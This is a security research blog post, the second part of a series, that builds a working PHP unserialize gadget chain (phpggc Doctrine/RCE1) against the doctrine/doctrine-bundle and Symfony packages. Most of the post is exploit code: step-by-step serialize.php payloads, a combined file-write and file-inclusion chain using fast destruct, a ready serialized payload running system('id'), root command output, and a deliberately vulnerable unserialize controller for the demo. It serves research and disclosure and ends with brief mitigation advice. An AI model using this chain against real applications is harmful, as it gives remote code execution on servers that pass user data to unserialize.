Finding a POP chain on a common Symfony bundle : part 2
The Symfony doctrine/doctrine-bundle
package is one of the most common bundles installed along Symfony applications. At the time we are releasing this blogpost, it has been downloaded 144 million times, making it an interesting target for unserialize exploitation. If you want to improve your knowledge about PHP unserialize exploitation and see why weak typed languages are considered less secure, this blogpost is for you.
The second part of this article will be focused on building a valid POP chain based on the code already analyzed in the first part in the first part. Reading it is not a requirement to understand the build of the chain, however it is greatly recommended in order to deeply understand the code subtleties.
Now that all the code used by the POP chain has been detailed on the first part of this blogpost, let's see how to craft our payload. This POP chain is already commited in phpggc as Doctrine/RCE1
. We will once again proceed step by step to see how and why it was designed this way. The first steps of this section are run on PHP 8.1.22
.
The serialize.php
file is used to generate the payload and will be updated step by step in this section. The template looks like this.
<?php
namespace <namespace_name_from_vendor>
{
[...]
}
[...]
namespace PopChain
{
use <class_name_from_vendor>;
$obj =<class_name_from_vendor>();
[...]
$serialized = serialize($obj);
echo serialize($obj);
}
The unserialize.php
file is used to test the unserialization. It includes the dependencies from the doctrine/doctrine-bundle
package in our case.
<?php
include "vendor/autoload.php";
unserialize('<serizalized_data_to_test>');
The doctrine-bundle
packages are installed via composer.
$ composer require doctrine/doctrine-bundle
./composer.json has been updated
Running composer update doctrine/doctrine-bundle
Loading composer repositories with package information
Updating dependencies
Nothing to modify in lock file
Installing dependencies from lock file (including require-dev)
Package operations: 35 installs, 0 updates, 0 removals
[...]
First step: reach CacheAdapter
Let's see what happens while unserializing a CacheAdapter
object.
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
$obj = new CacheAdapter();
$serialized = serialize($obj);
echo serialize($obj);
}
$ php unserialize.php
Nothing happens at first because all the logic in the commit
function depends on the defferedItems
attribute. If it is not defined, the code will simply return true
.
<?php
namespace Doctrine\Common\Cache\Psr6;
final class CacheAdapter implements CacheItemPoolInterface
{
/** @var Cache */
private $cache;
/** @var array<CacheItem|TypedCacheItem> */
private $deferredItems = [];
[...]
public function commit(): bool
{
if (! $this->deferredItems) {
return true;
}
[...]
}
}
By setting defferedItems
as an empty array, we get the following error message, meaning we indeed reached the commit
function.
$ php unserialize.php
Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235
To progress in the code, it is mandatory to set at least one deferredItem
. If we believe the PHP annotation defined in the code, it should either be a CacheItem
or a TypedCacheItem
. The difference is explained later in this article (cf PHP version differences). Therefore, a TypedCacheItem
has been added in the deferredItems
array.
As we can see in the foreach
loop, a check on expiry
is done, so our TypedCacheItem
has to define an expiry
attribute. Further inside the loop, its value
will also be checked.
<?php
namespace Doctrine\Common\Cache\Psr6;
[...]
final class TypedCacheItem implements CacheItemInterface
{
private ?float $expiry = null;
public function get(): mixed
{
return $this->value;
}
public function getExpiry(): ?float
{
return $this->expiry;
}
}
The deferredItem
expiry
value leads to two distinct possibilities. If the current timestamp is inferior to the deferredItem
expiry
, then the save
method is reached.
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 99999999999999999;
public $value = "test";
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
$obj = new CacheAdapter();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php
Fatal error: Uncaught Error: Call to a member function save() on null in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235
Otherwise, if the current timestamp is superior to the deferredItem
expiry
, then the delete
method is reached.
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 1;
public $value = "test";
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
$obj = new CacheAdapter();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php
Fatal error: Uncaught Error: Call to a member function delete() on null in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:227
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 227
Writing a file
The first goal for this POP chain is to get a file written on the filesystem. To do so, we need to call MockFileSessionStorage
's save
function.
The save
method will be called on the cache
attribute of the CacheAdapter
object. After defining it in our file, we now reach an exception from the MockFileSessionStorage
!
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 99999999999999999;
public $value = "test";
}
}
namespace Symfony\Component\HttpFoundation\Session\Storage
{
class MockFileSessionStorage
{
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
$obj = new CacheAdapter();
$obj->cache = new MockFileSessionStorage();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php
Fatal error: Uncaught RuntimeException: Trying to save a session that was not started yet or was already closed. in /tmp/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php:79
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(235): Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage->save(0, 'test', 99999998326133680)
#1 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#2 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#3 {main}
thrown in /tmp/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php on line 79
Let's have a quick analysis of the save
function. If the started
attribute is not defined, the previous exception will be triggered, so it needs to be set to true
.
The MetadataBag
object also has to be defined with the storageKey
attribute.
$ find . -name '*MetadataBag*'
./vendor/symfony/http-foundation/Session/Storage/MetadataBag.php
$ cat ./vendor/symfony/http-foundation/Session/Storage/MetadataBag.php | grep getStorageKey -A 3
public function getStorageKey(): string
{
return $this->storageKey;
}
Finally, the following attributes need to be added to the MockFileSessionStorage
object:
savePath
: the path in which the file should be createdid
: the file name to which the.mocksess
extension will be appendeddata
: the file content that will be generated, here it will contain the PHP code we want to execute on the server
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 99999999999999999;
public $value = "test";
}
}
namespace Symfony\Component\HttpFoundation\Session\Storage
{
class MockFileSessionStorage
{
public $started = true;
public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess
public $id = "aaa";
public $data = ['<?php system("id"); phpinfo(); ?>'];
}
class MetadataBag
{
public $storageKey = "a";
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;
$obj = new CacheAdapter();
$obj->deferredItems = [new TypedCacheItem()];
$mockSessionStorage = new MockFileSessionStorage();
$mockSessionStorage->metadataBag = new MetadataBag();
$obj->cache =$mockSessionStorage;
echo serialize($obj);
}
As shown in the following bash snippet, the aaa.mocksess
file is generated on the server, after unserializing the payload. We have successfully created a file at a controlled path, therefore executing it as PHP successfully triggers the code we injected.
$ php unserialize.php
Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/poc/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
thrown in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235
$ ls -l /tmp/aaa.mocksess
-rw-r--r-- 1 root root 51 Feb 13 15:05 /tmp/aaa.mocksess
$ php /tmp/aaa.mocksess
a:1:{i:0;s:33:"uid=0(root) gid=0(root) groups=0(root)
phpinfo()
PHP Version => 8.1.15
Executing the file
Let's now demonstrate the inclusion payload. The following code will allow us to reach the PhpArrayAdapter
initialize
function detailed earlier.
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 1;
public $value = "test";
}
}
namespace Symfony\Component\Cache\Adapter
{
class PhpArrayAdapter
{
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
$obj = new CacheAdapter();
$obj->cache = new PhpArrayAdapter();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
Without any definition to the object, the function is successfully reached as shown in the following output.
$ php unserialize.php
Deprecated: is_file(): Passing null to parameter #1 ($filename) of type string is deprecated in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php on line 391
Fatal error: Uncaught Error: Call to a member function deleteItem() on null in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php:196
Stack trace:
#0 /tmp/poc/vendor/symfony/cache-contracts/CacheTrait.php(43): Symfony\Component\Cache\Adapter\PhpArrayAdapter->deleteItem('0')
#1 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(227): Symfony\Component\Cache\Adapter\PhpArrayAdapter->delete('0')
#2 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#3 /tmp/poc/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#4 {main}
thrown in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php on line 196
The last step to reach file inclusion is to define a value to the file
attribute. The following POP chain aims to execute the code defined in the /tmp/aaa.mocksess
file, which we generated before.
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 1;
public $value = "test";
}
}
namespace Symfony\Component\Cache\Adapter
{
class PhpArrayAdapter
{
public $file = "/tmp/aaa.mocksess"; // fixed at the time
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
$obj = new CacheAdapter();
$obj->cache = new PhpArrayAdapter();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
As we can see when unserialized, the POP chain successfully reaches the require
code. The PHP code we have previously written to /tmp/aaa.mocksess
is reached, triggering a code execution on the system.
$ php unserialize.php
a:1:{i:0;s:33:"uid=0(root) gid=0(root) groups=0(root)
phpinfo()
PHP Version => 8.1.15
System => Linux 184f5674e38c 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
Build Date => Feb 9 2023 08:04:45
Last step: make both chains work together
Now that we saw how to generate both chains, there is still details needing to be discussed to make them work together. Indeed, the chains work greatly together, by triggering the file write in a first time, and the file inclusion after that. However, it is also possible to trigger both of them in one unserialization.
Fast destruct usage
Since two chains compose the POP chain, it is mandatory to use fast destruct in order to force the execution of both of them.
Fast destruct is a method used to force the call of the __destruct()
functions right after unserialize. Since we entirely control the objects defined in an unserialized string, it is possible to create abnormal states, such as defining the same index twice in an array. This will have for effect to instantly trigger the __destruct()
call on the object. To illustrate, fast destruct would be called on \Namespace\Object1
and \Namespace\Object2
, but not on \Namespace\Object3
in the following example.
In our POP chain, fast destruct is mandatory because we are using two distinct chains based on a __destruct()
definition.
PHP version differences
There is one last point that has to be discussed : the PHP version matters for this POP chain.
All the demonstrations were made from PHP 8, which is compatible with TypedCacheItem
. However, TypedCacheItem
is not compatible with PHP 7 applications, the following error is raised from CacheAdapter
on any of the previous POP chains.
$ php unserialize.php
Parse error: syntax error, unexpected 'private' (T_PRIVATE), expecting variable (T_VARIABLE) in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/TypedCacheItem.php on line 24
Once again, type definition is an issue here. As discussed earlier in this blogpost, there are two possible values for defferedItems
: TypedCacheItem
or CacheItem
. CacheItem
should be used on versions prior or equals to PHP 7.
If the doctrine/doctrine-bundle
project is installed from PHP 8, the following compatibility issue will be triggered when CacheItem
is used instead of TypedCacheItem
.
$ php unserialize.php
Fatal error: Declaration of Doctrine\Common\Cache\Psr6\CacheItem::get() must be compatible with Psr\Cache\CacheItemInterface::get(): mixed in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheItem.php on line 51
For this reason, the POP chain has to be adapted depending on the targeted PHP version.
The full chain
After taking every last steps in consideration, the final version of our serialize.php
file looks as follows:
<?php
/* Entrypoint of the POPchain */
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class CacheItem
{
public $expiry = 99999999999999999;
public $value = "test";
}
class TypedCacheItem
{
public $expiry = 99999999999999999;
public $value = "test";
}
}
/* File write objects */
namespace Symfony\Component\HttpFoundation\Session\Storage
{
class MockFileSessionStorage
{
public $started = true;
public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess
public $id = "aaa"; // File name
public $data = ['<?php echo "I was TRIGGERED"; system("id"); ?>']; // PHP code executed
}
class MetadataBag
{
public $storageKey = "a";
}
}
/* File inclusion objects */
namespace Symfony\Component\Cache\Adapter
{
class PhpArrayAdapter
{
public $file = "/tmp/aaa.mocksess"; // fixed at the time
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
/* CacheItem is compatible with PHP 7.*, TypedCacheItem is compatible with PHP 8.* */
if (preg_match('/^7/', phpversion()))
{
$firstCacheItem = new CacheItem();
$secondCacheItem = new CacheItem();
}
else
{
$firstCacheItem = new TypedCacheItem();
$secondCacheItem = new TypedCacheItem();
}
/* File write */
$obj_write = new CacheAdapter();
$obj_write->deferredItems = [$firstCacheItem];
$mockSessionStorage = new MockFileSessionStorage();
$mockSessionStorage->metadataBag = new MetadataBag();
$obj_write->cache =$mockSessionStorage;
/* File inclusion */
$obj_include = new CacheAdapter();
$obj_include->cache = new PhpArrayAdapter();
$secondCacheItem->expiry = 0; // mandatory to go to another branch from CacheAdapter __destruct
$obj_include->deferredItems = [$secondCacheItem];
$obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1];
$serialized_string = serialize($obj);
// Setting the indexes for fast destruct
$find_write = (
'#i:(' .
1001 . '|' .
(1001 + 1) .
');#'
);
$replace_write = 'i:' . 1000 . ';';
$serialized_string2 = preg_replace($find_write, $replace_write, $serialized_string);
$find_include = (
'#i:(' .
2001 . '|' .
(2001 + 1) .
');#'
);
$replace_include = 'i:' . 2000 . ';';
echo preg_replace($find_include, $replace_include, $serialized_string2);
}
Running it will execute both POP chains and will be giving code execution on the system.
$ php unserialize.php
a:1:{i:0;s:46:"I was TRIGGEREDuid=0(root) gid=0(root) groups=0(root)
";}
Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
[...]
The full chain has been pushed on the phpggc project, which is basically the reference project when looking for publicly disclosed POP chains.
Using phpggc to generate the POP chain discussed in this article si straightforward:
$ phpggc Doctrine/rce1 'system("id");'
a:4:{i:1000;O:39:"Doctrine\Common\Cache\Psr6\CacheAdapter":3:{s:13:"deferredItems";a:1:{i:0;O:41:"Doctrine\Common\Cache\Psr6\TypedCacheItem":2:{s:6:"expiry";i:99999999999999999;s:5:"value";s:4:"test";}}s:6:"loader";i:1;s:5:"cache";O:71:"Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage":5:{s:7:"started";b:1;s:8:"savePath";s:4:"/tmp";s:2:"id";s:3:"aaa";s:4:"data";a:1:{i:0;s:22:"<?php system("id"); ?>";}s:11:"metadataBag";O:60:"Symfony\Component\HttpFoundation\Session\Storage\MetadataBag":1:{s:10:"storageKey";s:1:"a";}}}i:1000;i:1;i:2000;O:39:"Doctrine\Common\Cache\Psr6\CacheAdapter":3:{s:13:"deferredItems";a:1:{i:0;O:41:"Doctrine\Common\Cache\Psr6\TypedCacheItem":2:{s:6:"expiry";i:0;s:5:"value";s:4:"test";}}s:6:"loader";i:1;s:5:"cache";O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":1:{s:4:"pool";O:47:"Symfony\Component\Cache\Adapter\PhpArrayAdapter":1:{s:4:"file";s:17:"/tmp/aaa.mocksess";}}}i:2000;i:1;}
At this time, all the versions of the doctrine/doctrine-bundle
package are affected since the version 1.5.1.
More details in the following phpggc pull request.
Demonstration: let's exploit a Symfony-based application
Methodology is cool, but nothing is better than a demonstration to illustrate the risks.
Demo
If you want to setup the environment, you need to create a Symfony application and to install the environment. In real life, doctrine/doctrine-bundle
would be installed as long as the Symfony application uses doctrine as its ORM.
For this proof of concept the project has been setup on the following environment, you can reproduce it by running these commands.
$ docker run -it -p 8000:80 php:8.1-apache /bin/bash
$ apt update && apt install wget git unzip libzip-dev
$ wget https://getcomposer.org/installer -O composer-setup.php
$ php composer-setup.php
$ mv composer.phar /usr/local/bin/composer
$ a2enmod rewrite
$ cd /var/www
$ composer create-project symfony/skeleton:"6.2.*" html
$ composer require symfony/maker-bundle --dev
$ php bin/console make:controller UnserializeController
$ composer require symfony/apache-pack
$ composer require doctrine/orm
$ composer require doctrine/doctrine-bundle
$ cat config/routes.yaml
controllers:
resource:
path: ../src/Controller/
namespace: App\Controller
type: annotation
$ cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
[...]
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/public
[...]
$ service apache2 start
Once the setup is complete, you should be able to reach the following page. Of course, keep in mind that the doctrine/doctrine-bundle
has to be installed on the Symfony application.
The UnserializeController
class allows a user to send a base64-encoded serialized chain to unserialize it.
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\Routing\Annotation\Route;
class UnserializeController extends AbstractController
{
#[Route('/unserialize')]
public function index(): JsonResponse
{
if (isset($_GET['data'])){
unserialize(base64_decode($_GET['data']));
}
return $this->json([
'message' => 'Please send the data you want to unserialize with data param'
]);
}
}
Finally, a demonstration of the exploitation of the chain on the vulnerable controller. The Symfony application and phpggc are running in PHP 8.1.22.
Vulnerable versions of the doctrine/doctrine-bundle
In order to test the efficiency of the POP chain, the phpggc test-gc-compatibility.py script was used.
The POP chain can be exploited on the following version of PHP 8, the tests were run on PHP 8.1.22. The following command can be used to list the affected versions
$ python3 test-gc-compatibility.py doctrine/doctrine-bundle doctrine/RCE1
Running on PHP version PHP 8.1.22 (cli) (built: Feb 11 2023 10:43:39) (NTS).
Testing 136 versions for doctrine/doctrine-bundle against 1 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/RCE1 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.11.x-dev │ OK │ OK │
│ 2.10.x-dev │ OK │ OK │
│ 2.10.2 │ OK │ OK │
│ 2.10.1 │ OK │ OK │
│ 2.10.0 │ OK │ OK │
│ 2.9.x-dev │ OK │ OK │
│ 2.9.2 │ OK │ OK │
[...]
│ 1.12.x-dev │ OK │ OK │
│ 1.12.13 │ OK │ OK │
│ 1.12.12 │ OK │ OK │
│ 1.12.11 │ OK │ OK │
│ 1.12.10 │ OK │ OK │
[...]
│ 1.6.x-dev │ OK │ OK │
│ 1.6.13 │ OK │ OK │
│ 1.6.12 │ OK │ OK │
│ 1.6.11 │ OK │ OK │
[...]
│ v1.0.0 │ OK │ KO │
│ v1.0.0-RC1 │ OK │ KO │
│ v1.0.0-beta1 │ KO │ - │
│ dev-2.10.x-merge-up-into-2.11.x_IKPBtWeg │ OK │ OK │
│ dev-symfony-7 │ OK │ OK │
└──────────────────────────────────────────┴─────────┴───────────────┘
The POP chain will also work on PHP 7, vulnerable packages can be found on this phpggc pull request.
Affected projects
That being said, this trick is not a vulnerability in itself, this POP chain can be used if user supplied data is sent to an unserialize
function on any project using an affected version of the doctrine/doctrine-bundle
package.
To patch unserialize
issues, it is possible to use the allowed_classes
parameter to use a whitelist of valid classes. However, it is recommended to treat user data with safer functions, such as json_encode
, and to recreate the objects from this kind of encoding instead.
Final thought
We thought it might be interesting to share the full research process since this POP chain involved several unserialize tricks. While this methodology might not be the most optimized, it gives an idea of the overall logic followed to identify POP chains and how to get started. In the current case, this illustrates greatly how a weakly typed language can be exploited.
While writing this article, some unnecessary steps were simplified in the Doctrine/RCE1 chain. You can take a look at the changes made in the phpggc project.
The usage of a PHP debugger such as xdebug would greatly improve the speed of this process. However, this blogpost shows that fancy tools are not always mandatory to exploit vulnerabilities, you only need to understand what you are dealing with, and what you are aiming for. Even if POP chains are not exploitable by themselves, looking for them is a good exercise to understand how PHP code is interpreted deeply.